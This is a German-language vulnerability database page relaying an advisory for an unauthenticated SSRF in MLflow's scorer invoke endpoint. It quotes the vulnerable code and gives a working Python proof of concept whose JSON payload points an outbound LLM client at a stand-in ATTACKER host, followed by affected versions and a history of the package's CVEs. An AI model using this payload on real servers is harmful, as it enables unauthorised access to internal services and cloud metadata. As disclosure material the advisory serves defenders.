Mittel

MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

  • Veröffentlicht: 23.10.2026
  • Aktualisiert: 24.10.2026 01:17

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

python
data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

python
THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

python
backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

  • Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.
  • Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
  • Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

python
import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) mlflow >= 3.12.0rc0, < 3.17.0 3.17.0

Verweise

CVSS-Wert 6.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Schwäche (CWE)
CWE-470, CWE-918
Plattform
Python (PyPI)
Paket
mlflow
Veröffentlicht
23.10.2026
Aktualisiert
24.10.2026 01:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-2wqp-q3c6-ccj5 - CC BY 4.0

Schwachstellenhistorie: mlflow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (83) im Archiv
Einträge insgesamt
83
Erste → letzte
02.2022 10.2026
Ohne Fix
18
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 20
  • Hoch 48
  • Mittel 14
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2022: 1
  2. 2023: 22
  3. 2024: 24
  4. 2025: 8
  5. 2026: 28
Schweregrad:
  1. MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints dieser Eintrag
    Mittel · 6.5 CVE-2026-115886 >= 3.12.0rc0, < 3.17.0 3.17.0
  2. Hoch · 7.1 CVE-2026-71211 >= 3.13.0, <= 3.15.2 keine Korrektur
  3. Hoch · 8.1 CVE-2026-8147 >= 2.14.0rc0, < 3.13.0rc0 3.13.0rc0
  4. Hoch · 7.0 CVE-2026-4137 >= 1.26.0, < 3.11.0 3.11.0
  5. Kritisch · 10.0 CVE-2025-15379 < 3.8.1 3.8.1
  6. Kritisch · 9.6 CVE-2025-15036 < 3.9.0rc0 3.9.0rc0
  7. Hoch · 8.1 CVE-2025-15381 <= 3.8.1 keine Korrektur
  8. Hoch · 8.1 CVE-2025-15031 < 3.9.0rc0 3.9.0rc0
  9. Hoch · 7.5 CVE-2025-14287 < 3.8.0rc0 3.8.0rc0
  10. Kritisch · 9.8 CVE-2026-2635 < 3.8.0rc0 3.8.0rc0
  11. Hoch · 7.0 CVE-2025-10279 < 3.4.0rc0 3.4.0rc0
  12. Hoch · 8.1 CVE-2025-11200 < 2.22.0rc0 2.22.0rc0
  13. Hoch · 8.1 CVE-2025-11201 < 2.22.4, >= 3.0.0rc0, < 3.0.0 2.22.4, 3.0.0
  14. Hoch · 7.5 CVE-2024-8859 < 2.17.0rc0 2.17.0rc0
  15. Hoch · 8.8 CVE-2024-37061 >= 1.11.0, <= 2.13.1 keine Korrektur
  16. Hoch · 8.8 CVE-2024-37057 >= 2.0.0rc0, <= 2.14.1 keine Korrektur
  17. Hoch · 8.8 CVE-2024-37058 >= 2.5.0, <= 2.14.1 keine Korrektur
  18. Hoch · 8.8 CVE-2024-37060 >= 1.27.0, <= 2.14.1 keine Korrektur
  19. Hoch · 8.8 CVE-2024-37059 >= 0.5.0, <= 3.4.0 keine Korrektur
  20. Hoch · 8.8 CVE-2024-37054 >= 0.9.0, <= 2.14.1 keine Korrektur
  21. Hoch · 8.8 CVE-2024-37052 >= 1.1.0, <= 2.14.1 keine Korrektur
  22. Hoch · 8.8 CVE-2024-37055 >= 1.24.0, <= 2.14.1 keine Korrektur
  23. Hoch · 8.8 CVE-2024-37056 >= 1.23.0, <= 2.14.1 keine Korrektur
  24. Hoch · 8.8 CVE-2024-37053 >= 1.1.0, <= 2.14.1 keine Korrektur
  25. Hoch · 8.1 CVE-2024-1560 <= 2.9.2 keine Korrektur
  26. Hoch · 7.5 CVE-2024-1594 <= 2.9.2 keine Korrektur
  27. Hoch · 7.5 CVE-2024-1593 <= 2.9.2 keine Korrektur
  28. Hoch · 7.5 CVE-2024-1558 < 2.12.1 2.12.1
  29. Hoch · 7.5 CVE-2024-1483 < 2.12.1 2.12.1
  30. Hoch · 8.8 CVE-2023-6976 < 2.9.2 2.9.2
  31. Hoch · 7.5 CVE-2023-6977 < 2.9.2 2.9.2
  32. Kritisch · 9.8 CVE-2023-6974 < 2.9.2 2.9.2
  33. Kritisch · 9.8 CVE-2023-6975 < 2.9.2 2.9.2
  34. Hoch · 8.8 CVE-2023-6940 < 2.9.2 2.9.2
  35. Hoch · 7.5 CVE-2023-43472 < 2.9.0 2.9.0
  36. Kritisch · 10.0 CVE-2023-6015 < 2.8.1 2.8.1
  37. Kritisch · 10.0 CVE-2023-6018 < 2.9.2 2.9.2
  38. Hoch · 8.2 CVE-2022-0736 < 1.23.1 1.23.1

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.